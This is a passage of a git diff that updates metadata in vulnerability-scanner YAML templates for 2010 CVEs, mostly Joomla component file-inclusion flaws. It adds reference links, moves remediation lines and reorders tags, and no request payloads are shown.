cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1461.yaml b/cves/2010/CVE-2010-1461.yaml index 7f56edc715..0c6bf1782f 100644 --- a/cves/2010/CVE-2010-1461.yaml +++ b/cves/2010/CVE-2010-1461.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12232 - https://www.cvedetails.com/cve/CVE-2010-1461 + - http://web.archive.org/web/20210518110953/https://www.securityfocus.com/bid/39504 + - http://www.exploit-db.com/exploits/12232 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1461 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi,photo + tags: cve,cve2010,joomla,lfi,photo,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1469.yaml b/cves/2010/CVE-2010-1469.yaml index 5489b65613..be491b5e73 100644 --- a/cves/2010/CVE-2010-1469.yaml +++ b/cves/2010/CVE-2010-1469.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12146 - https://www.cvedetails.com/cve/CVE-2010-1469 + - http://packetstormsecurity.org/1004-exploits/joomlajprojectmanager-lfi.txt + - http://www.exploit-db.com/exploits/12146 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1469 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1470.yaml b/cves/2010/CVE-2010-1470.yaml index d1f197f51e..1d6450b1b8 100644 --- a/cves/2010/CVE-2010-1470.yaml +++ b/cves/2010/CVE-2010-1470.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12166 - https://www.cvedetails.com/cve/CVE-2010-1470 + - http://web.archive.org/web/20140723205548/http://secunia.com/advisories/39405/ + - http://www.exploit-db.com/exploits/12166 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1470 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1471.yaml b/cves/2010/CVE-2010-1471.yaml index 2a6b8c6404..0d9df245c0 100644 --- a/cves/2010/CVE-2010-1471.yaml +++ b/cves/2010/CVE-2010-1471.yaml @@ -8,10 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/12170 - https://www.cvedetails.com/cve/CVE-2010-1471 + - http://www.vupen.com/english/advisories/2010/0862 classification: cve-id: CVE-2010-1471 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1472.yaml b/cves/2010/CVE-2010-1472.yaml index a995b37bb1..a69ad87305 100644 --- a/cves/2010/CVE-2010-1472.yaml +++ b/cves/2010/CVE-2010-1472.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12167 - https://www.cvedetails.com/cve/CVE-2010-1472 + - http://web.archive.org/web/20140723200143/http://secunia.com/advisories/39406/ + - http://www.exploit-db.com/exploits/12167 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1472 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1473.yaml b/cves/2010/CVE-2010-1473.yaml index ab6af01c75..7d81133c22 100644 --- a/cves/2010/CVE-2010-1473.yaml +++ b/cves/2010/CVE-2010-1473.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12171 - https://www.cvedetails.com/cve/CVE-2010-1473 + - http://packetstormsecurity.org/1004-exploits/joomlaeasyadbanner-lfi.txt + - http://web.archive.org/web/20140723213338/http://secunia.com/advisories/39410/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1473 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1474.yaml b/cves/2010/CVE-2010-1474.yaml index 3eb57c4788..ebce5060fb 100644 --- a/cves/2010/CVE-2010-1474.yaml +++ b/cves/2010/CVE-2010-1474.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12182 - https://www.cvedetails.com/cve/CVE-2010-1474 + - http://web.archive.org/web/20140723205926/http://secunia.com/advisories/39388/ + - http://www.exploit-db.com/exploits/12182 classification: cve-id: CVE-2010-1474 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1475.yaml b/cves/2010/CVE-2010-1475.yaml index c3148da86e..9d5ab44333 100644 --- a/cves/2010/CVE-2010-1475.yaml +++ b/cves/2010/CVE-2010-1475.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12147 - https://www.cvedetails.com/cve/CVE-2010-1475 + - http://web.archive.org/web/20140723203010/http://secunia.com/advisories/39285/ + - http://www.exploit-db.com/exploits/12147 classification: cve-id: CVE-2010-1475 - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1476.yaml b/cves/2010/CVE-2010-1476.yaml index d9f1db1f23..1ae3498a34 100644 --- a/cves/2010/CVE-2010-1476.yaml +++ b/cves/2010/CVE-2010-1476.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12150 - https://www.cvedetails.com/cve/CVE-2010-1476 + - http://packetstormsecurity.org/1004-exploits/joomlaalphauserpoints-lfi.txt + - http://www.alphaplug.com/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1476 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1478.yaml b/cves/2010/CVE-2010-1478.yaml index b88ddc77a7..1d8de53169 100644 --- a/cves/2010/CVE-2010-1478.yaml +++ b/cves/2010/CVE-2010-1478.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12145 - https://www.cvedetails.com/cve/CVE-2010-1478 + - http://web.archive.org/web/20140723205157/http://secunia.com/advisories/39262/ + - http://web.archive.org/web/20210121195422/https://www.securityfocus.com/bid/39390/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1478 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1491.yaml b/cves/2010/CVE-2010-1491.yaml index 713e23b779..3640e1e37a 100644 --- a/cves/2010/CVE-2010-1491.yaml +++ b/cves/2010/CVE-2010-1491.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12318 - https://www.cvedetails.com/cve/CVE-2010-1491 + - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt + - http://web.archive.org/web/20140724060325/http://secunia.com/advisories/39533/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1491 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1494.yaml b/cves/2010/CVE-2010-1494.yaml index 2060b98972..d8a96ed10f 100644 --- a/cves/2010/CVE-2010-1494.yaml +++ b/cves/2010/CVE-2010-1494.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12113 - https://www.cvedetails.com/cve/CVE-2010-1494 + - http://www.exploit-db.com/exploits/12113 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1494 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1495.yaml b/cves/2010/CVE-2010-1495.yaml index 622f71cfea..6e28f8a4fe 100644 --- a/cves/2010/CVE-2010-1495.yaml +++ b/cves/2010/CVE-2010-1495.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12286 - https://www.cvedetails.com/cve/CVE-2010-1495 + - http://www.vupen.com/english/advisories/2010/0929 + - http://packetstormsecurity.org/1004-exploits/joomlamatamko-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1495 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1531.yaml b/cves/2010/CVE-2010-1531.yaml index 7741ecdb85..6a0cba1da4 100644 --- a/cves/2010/CVE-2010-1531.yaml +++ b/cves/2010/CVE-2010-1531.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12054 - https://www.cvedetails.com/cve/CVE-2010-1531 + - http://packetstormsecurity.org/1004-exploits/joomlaredshop-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1531 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1532.yaml b/cves/2010/CVE-2010-1532.yaml index cd68c205e5..3cfdb1c33b 100644 --- a/cves/2010/CVE-2010-1532.yaml +++ b/cves/2010/CVE-2010-1532.yaml @@ -4,15 +4,16 @@ info: name: Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion author: daffainfo severity: high - description: A directory traversal vulnerability in the givesight PowerMail Pro (com_powermail) component 1.5.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts - via a .. (dot dot) in the controller parameter to index.php. + description: A directory traversal vulnerability in the givesight PowerMail Pro (com_powermail) component 1.5.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/12118 - https://www.cvedetails.com/cve/CVE-2010-1532 + - http://packetstormsecurity.org/1004-exploits/joomlapowermail-lfi.txt + - http://web.archive.org/web/20210127202836/https://www.securityfocus.com/bid/39348/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1532 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1533.yaml b/cves/2010/CVE-2010-1533.yaml index 3c56311b21..50a833080d 100644 --- a/cves/2010/CVE-2010-1533.yaml +++ b/cves/2010/CVE-2010-1533.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12142 - https://www.cvedetails.com/cve/CVE-2010-1533 + - http://web.archive.org/web/20140723212810/http://secunia.com/advisories/39258/ + - http://www.exploit-db.com/exploits/12142 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1533 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1534.yaml b/cves/2010/CVE-2010-1534.yaml index 721940176f..a7222cf33b 100644 --- a/cves/2010/CVE-2010-1534.yaml +++ b/cves/2010/CVE-2010-1534.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12067 - https://www.cvedetails.com/cve/CVE-2010-1534 + - http://web.archive.org/web/20210121195246/https://www.securityfocus.com/bid/39213/ + - http://web.archive.org/web/20140724182459/http://secunia.com/advisories/39352/ + remediation: Upgrade to a supported version classification: cve-id: CVE-2010-1534 - remediation: Upgrade to a supported version - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1535.yaml b/cves/2010/CVE-2010-1535.yaml index 06d7154eb4..dd182e49a7 100644 --- a/cves/2010/CVE-2010-1535.yaml +++ b/cves/2010/CVE-2010-1535.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12151 - https://www.cvedetails.com/cve/CVE-2010-1535 + - http://web.archive.org/web/20140725030342/http://secunia.com/advisories/39254/ + - http://www.exploit-db.com/exploits/12151 classification: cve-id: CVE-2010-1535 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1540.yaml b/cves/2010/CVE-2010-1540.yaml index afd61d4b4d..7858f54cb4 100644 --- a/cves/2010/CVE-2010-1540.yaml +++ b/cves/2010/CVE-2010-1540.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/11625 - https://www.cvedetails.com/cve/CVE-2010-1540 + - http://web.archive.org/web/20140721042709/http://secunia.com/advisories/38777/ + - http://web.archive.org/web/20210121194559/https://www.securityfocus.com/bid/38530/ classification: cve-id: CVE-2010-1540 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1601.yaml b/cves/2010/CVE-2010-1601.yaml index ca4fbf66c0..b02548d3dd 100644 --- a/cves/2010/CVE-2010-1601.yaml +++ b/cves/2010/CVE-2010-1601.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12236 - https://www.cvedetails.com/cve/CVE-2010-1601 + - http://web.archive.org/web/20140803084823/http://secunia.com/advisories/39472/ + - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt classification: cve-id: CVE-2010-1601 - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1602.yaml b/cves/2010/CVE-2010-1602.yaml index 63a8d37726..7ea5cac135 100644 --- a/cves/2010/CVE-2010-1602.yaml +++ b/cves/2010/CVE-2010-1602.yaml @@ -8,9 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/12283 - https://www.cvedetails.com/cve/CVE-2010-1602 + - http://packetstormsecurity.org/1004-exploits/joomlazimbcomment-lfi.txt classification: cve-id: CVE-2010-1602 - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1603.yaml b/cves/2010/CVE-2010-1603.yaml index 962fe63461..cea0d41ac0 100644 --- a/cves/2010/CVE-2010-1603.yaml +++ b/cves/2010/CVE-2010-1603.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12284 - https://www.cvedetails.com/cve/CVE-2010-1603 + - http://web.archive.org/web/20210518112730/https://www.securityfocus.com/bid/39546 + - http://www.vupen.com/english/advisories/2010/0931 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1603 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1607.yaml b/cves/2010/CVE-2010-1607.yaml index 91f7796f72..434bfacdfe 100644 --- a/cves/2010/CVE-2010-1607.yaml +++ b/cves/2010/CVE-2010-1607.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12316 - https://www.cvedetails.com/cve/CVE-2010-1607 + - http://web.archive.org/web/20210121195713/https://www.securityfocus.com/bid/39608/ + - http://web.archive.org/web/20111227231442/http://secunia.com/advisories/39539/ classification: cve-id: CVE-2010-1607 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1653.yaml b/cves/2010/CVE-2010-1653.yaml index 584e220b6b..eefedff98e 100644 --- a/cves/2010/CVE-2010-1653.yaml +++ b/cves/2010/CVE-2010-1653.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12430 - https://www.cvedetails.com/cve/CVE-2010-1653 + - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt + - http://web.archive.org/web/20210121195909/https://www.securityfocus.com/bid/39743/ classification: cve-id: CVE-2010-1653 - tags: cve,cve2010,joomla,lfi + tags: edb,packetstorm,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1657.yaml b/cves/2010/CVE-2010-1657.yaml index 7a227fe4f2..ca854101b6 100644 --- a/cves/2010/CVE-2010-1657.yaml +++ b/cves/2010/CVE-2010-1657.yaml @@ -8,9 +8,11 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2010-1657 - https://www.exploit-db.com/exploits/12428 + - http://www.vupen.com/english/advisories/2010/1006 + - http://web.archive.org/web/20210121195906/https://www.securityfocus.com/bid/39740/ classification: cve-id: CVE-2010-1657 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1658.yaml b/cves/2010/CVE-2010-1658.yaml index cf60ccf129..c2c6ba0371 100644 --- a/cves/2010/CVE-2010-1658.yaml +++ b/cves/2010/CVE-2010-1658.yaml @@ -8,9 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/12427 - https://www.cvedetails.com/cve/CVE-2010-1658 + - http://www.vupen.com/english/advisories/2010/1007 classification: cve-id: CVE-2010-1658 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1659.yaml b/cves/2010/CVE-2010-1659.yaml index 3d326d3d79..92c469cc49 100644 --- a/cves/2010/CVE-2010-1659.yaml +++ b/cves/2010/CVE-2010-1659.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12426 - https://nvd.nist.gov/vuln/detail/CVE-2010-1659 + - http://web.archive.org/web/20210121195906/https://www.securityfocus.com/bid/39739/ + - http://www.exploit-db.com/exploits/12426 classification: cve-id: CVE-2010-1659 - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1714.yaml b/cves/2010/CVE-2010-1714.yaml index 573ea301b2..b088feba43 100644 --- a/cves/2010/CVE-2010-1714.yaml +++ b/cves/2010/CVE-2010-1714.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12168 - https://www.cvedetails.com/cve/CVE-2010-1714 + - http://packetstormsecurity.org/1004-exploits/joomlaarcadegames-lfi.txt + - http://web.archive.org/web/20140723192327/http://secunia.com/advisories/39413/ classification: cve-id: CVE-2010-1714 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1715.yaml b/cves/2010/CVE-2010-1715.yaml index 96a7921454..b991fb91dc 100644 --- a/cves/2010/CVE-2010-1715.yaml +++ b/cves/2010/CVE-2010-1715.yaml @@ -8,9 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/12174 - https://www.cvedetails.com/cve/CVE-2010-1715 + - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt classification: cve-id: CVE-2010-1715 - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1717.yaml b/cves/2010/CVE-2010-1717.yaml index 0d73b37fcc..3d72e3973f 100644 --- a/cves/2010/CVE-2010-1717.yaml +++ b/cves/2010/CVE-2010-1717.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12291 - https://www.cvedetails.com/cve/CVE-2010-1717 + - http://web.archive.org/web/20140805095004/http://secunia.com/advisories/39526/ + - http://www.vupen.com/english/advisories/2010/0924 classification: cve-id: CVE-2010-1717 - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1718.yaml b/cves/2010/CVE-2010-1718.yaml index 8127f88b49..a70b5e7b3f 100644 --- a/cves/2010/CVE-2010-1718.yaml +++ b/cves/2010/CVE-2010-1718.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12282 - https://www.cvedetails.com/cve/CVE-2010-1718 + - http://web.archive.org/web/20140805094212/http://secunia.com/advisories/39521/ + - http://web.archive.org/web/20210121195621/https://www.securityfocus.com/bid/39545/ classification: cve-id: CVE-2010-1718 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1719.yaml b/cves/2010/CVE-2010-1719.yaml index 52bc7b9493..0cc0b497f2 100644 --- a/cves/2010/CVE-2010-1719.yaml +++ b/cves/2010/CVE-2010-1719.yaml @@ -8,9 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/12233 - https://www.cvedetails.com/cve/CVE-2010-1719 + - http://www.exploit-db.com/exploits/12233 classification: cve-id: CVE-2010-1719 - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1722.yaml b/cves/2010/CVE-2010-1722.yaml index 31324d2d5d..f155d6b950 100644 --- a/cves/2010/CVE-2010-1722.yaml +++ b/cves/2010/CVE-2010-1722.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12177 - https://www.cvedetails.com/cve/CVE-2010-1722 + - http://web.archive.org/web/20140723201810/http://secunia.com/advisories/39409/ + - http://www.exploit-db.com/exploits/12177 classification: cve-id: CVE-2010-1722 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1723.yaml b/cves/2010/CVE-2010-1723.yaml index f504d1d508..75b3e0903c 100644 --- a/cves/2010/CVE-2010-1723.yaml +++ b/cves/2010/CVE-2010-1723.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12289 - https://www.cvedetails.com/cve/CVE-2010-1723 + - http://web.archive.org/web/20140805101847/http://secunia.com/advisories/39524/ + - http://www.exploit-db.com/exploits/12289 classification: cve-id: CVE-2010-1723 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1858.yaml b/cves/2010/CVE-2010-1858.yaml index 3a91c1523b..9e87647ddb 100644 --- a/cves/2010/CVE-2010-1858.yaml +++ b/cves/2010/CVE-2010-1858.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/11853 - https://www.cvedetails.com/cve/CVE-2010-1858 + - http://web.archive.org/web/20210121194940/https://www.securityfocus.com/bid/38911/ + - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1858 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1870.yaml b/cves/2010/CVE-2010-1870.yaml index cbb0c289a7..d9cb416a40 100644 --- a/cves/2010/CVE-2010-1870.yaml +++ b/cves/2010/CVE-2010-1870.yaml @@ -8,12 +8,14 @@ info: reference: - https://www.securifera.com/advisories/sec-2020-0001/ - https://packetstormsecurity.com/files/159643/listservmaestro-exec.txt + - https://www.exploit-db.com/exploits/14360 + - http://confluence.atlassian.com/display/FISHEYE/FishEye+Security+Advisory+2010-06-16 classification: cvss-metrics: AV:N/AC:L/Au:N/C:N/I:P/A:N - cvss-score: 5.0 + cvss-score: 5 cve-id: CVE-2010-1870 cwe-id: CWE-917 - tags: cve,cve2010,rce,listserv,ognl + tags: packetstorm,edb,cve,cve2010,rce,listserv,ognl requests: - method: GET diff --git a/cves/2010/CVE-2010-1875.yaml b/cves/2010/CVE-2010-1875.yaml index 3d1892a1ac..c3585c1038 100644 --- a/cves/2010/CVE-2010-1875.yaml +++ b/cves/2010/CVE-2010-1875.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/11851 - https://www.cvedetails.com/cve/CVE-2010-1875 + - http://web.archive.org/web/20140802140355/http://secunia.com/advisories/39074/ + - http://web.archive.org/web/20210121194939/https://www.securityfocus.com/bid/38912/ classification: cve-id: CVE-2010-1875 - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1878.yaml b/cves/2010/CVE-2010-1878.yaml index 7f22a2f09b..2204b99fec 100644 --- a/cves/2010/CVE-2010-1878.yaml +++ b/cves/2010/CVE-2010-1878.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12317 - https://www.cvedetails.com/cve/CVE-2010-1878 + - http://web.archive.org/web/20210121195712/https://www.securityfocus.com/bid/39606/ + - http://packetstormsecurity.org/1004-exploits/joomlaorgchart-lfi.txt classification: cve-id: CVE-2010-1878 - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1952.yaml b/cves/2010/CVE-2010-1952.yaml index 46514a4fd0..0e3c8d8590 100644 --- a/cves/2010/CVE-2010-1952.yaml +++ b/cves/2010/CVE-2010-1952.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12239 - https://www.cvedetails.com/cve/CVE-2010-1952 + - http://web.archive.org/web/20151016194238/http://secunia.com/advisories/39475/ + - http://www.exploit-db.com/exploits/12239 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1952 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1953.yaml b/cves/2010/CVE-2010-1953.yaml index 0c4f1002ce..33803c361e 100644 --- a/cves/2010/CVE-2010-1953.yaml +++ b/cves/2010/CVE-2010-1953.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12288 - https://www.cvedetails.com/cve/CVE-2010-1953 + - http://www.vupen.com/english/advisories/2010/0927 + - http://www.exploit-db.com/exploits/12288 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1953 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-1954.yaml b/cves/2010/CVE-2010-1954.yaml index f328fbf262..563749ac73 100644 --- a/cves/2010/CVE-2010-1954.yaml +++ b/cves/2010/CVE-2010-1954.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12287 - https://www.cvedetails.com/cve/CVE-2010-1954 + - http://web.archive.org/web/20210121195625/https://www.securityfocus.com/bid/39552/ + - http://www.exploit-db.com/exploits/12287 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1954 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1955.yaml b/cves/2010/CVE-2010-1955.yaml index d514f8de8b..5a64f68bc5 100644 --- a/cves/2010/CVE-2010-1955.yaml +++ b/cves/2010/CVE-2010-1955.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12238 - https://www.cvedetails.com/cve/CVE-2010-1955 + - http://web.archive.org/web/20210121195552/https://www.securityfocus.com/bid/39508/ + - http://web.archive.org/web/20140803091440/http://secunia.com/advisories/39473/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1955 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1956.yaml b/cves/2010/CVE-2010-1956.yaml index db5fd91493..40d609582a 100644 --- a/cves/2010/CVE-2010-1956.yaml +++ b/cves/2010/CVE-2010-1956.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12285 - https://www.cvedetails.com/cve/CVE-2010-1956 + - http://web.archive.org/web/20140805105431/http://secunia.com/advisories/39522/ + - http://www.exploit-db.com/exploits/12285 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1956 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-1957.yaml b/cves/2010/CVE-2010-1957.yaml index 8e03d5dd90..98363e98d2 100644 --- a/cves/2010/CVE-2010-1957.yaml +++ b/cves/2010/CVE-2010-1957.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12235 - https://www.cvedetails.com/cve/CVE-2010-1957 + - http://packetstormsecurity.org/1004-exploits/joomlalovefactory-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1957 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1977.yaml b/cves/2010/CVE-2010-1977.yaml index b78f48fbd2..62d676323f 100644 --- a/cves/2010/CVE-2010-1977.yaml +++ b/cves/2010/CVE-2010-1977.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12083 - https://www.cvedetails.com/cve/CVE-2010-1977 + - http://web.archive.org/web/20210121195306/https://www.securityfocus.com/bid/39243/ + - http://web.archive.org/web/20140724201603/http://secunia.com/advisories/39356/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1977 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1979.yaml 